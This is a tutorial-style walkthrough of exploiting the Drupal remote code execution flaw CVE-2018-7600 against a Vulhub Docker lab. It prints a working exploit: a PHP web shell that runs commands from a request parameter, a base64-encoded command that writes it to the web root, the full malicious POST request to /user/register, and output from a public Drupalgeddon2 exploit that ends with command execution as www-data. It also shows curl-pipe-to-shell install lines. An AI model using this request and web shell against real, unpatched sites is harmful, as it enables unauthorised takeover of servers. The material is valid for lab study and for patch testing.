On 28 March 2018 The Drupal team announced a highly critical remote code execution vulnerability in Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1. Although a patch for this issue has been made broadly available, there are still sites that have not been upgraded.

Deploying a vulnerable environment

Before we dive into exploiting CVE-2018-7600, we will need a target. A quick and easy way to setup a vulnerable target to practice on is using Vulhub, an open-source collection of pre-built vulnerable docker environments. The project is primarily is Chinese, however there is work being done by myself and others to translate the project to English.

We can install vulhub and it’s dependencies on a debian based system (Ubuntu / Kali) by running the following

# Install pip
$ sudo curl -s | python3

# Install the latest version docker
$ sudo curl -s | sh

# Run docker service
$ sudo service docker start

# Install docker compose
$ sudo pip install docker-compose

# Download project
$ git clone

# Enter directory
$ cd vulhub

Once vulhub is installed, we can go ahead and setup our Drupal 8 instance. You can also view the documentation for this specific environment (translated by me!).

# Enter the environment directory
$ cd drupal/CVE-2018-7600/

# Start the environment
$ sudo docker-compose up -d

With the vulnerable environment now setup and running we can visit and complete the Drupal installation.

During the installation we will select the “standard” profile and “SQLite” as the database type.


To exploit this vulnerability, we will send a POST request to our target and write the following to shell.php

<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }

This can be done by sending the following command to the target

echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee ./shell.php

The request will ultimately look like this

POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Authorization: Basic
Content-Type: application/x-www-form-urlencoded
Content-Length: 245

form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=exec&mail[a][#type]=markup&mail[a][#markup]=echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee ./shell.php

Once the shell has been written we can interact with it at replacing id with the command we wish to run.

Alternatively this can also be done automatically with this exploit written by @_dreadlocked and @g0tmi1k

$ ruby /opt/exploit-database/exploits/php/webapps/44449.rb
[*] --==[::#Drupalggedon2::]==--
[*] Target :
[!] MISSING: (404)
[+] Found  : (200)
[+] Drupal?: 8.x
[*] Testing: Code Execution
[*] Payload: echo JMJQYOFR
[+] Result : JMJQYOFR<span class="ajax-new-content"></span>
[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!
[*] Testing: File Write To Web Root (./)
[*] Payload: echo PD9waHAgaWYoIGlzc2V0KCAkX1JFUVVFU1RbJ2MnXSApICkgeyBzeXN0ZW0oICRfUkVRVUVTVFsnYyddIC4gJyAyPiYxJyApOyB9 | base64 -d | tee ./s.php
[+] Result : <?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }<span class="ajax-new-content"></span>
[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!
[*] Fake shell:   curl '' -d 'c=whoami'
41bc2a2fa908>> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)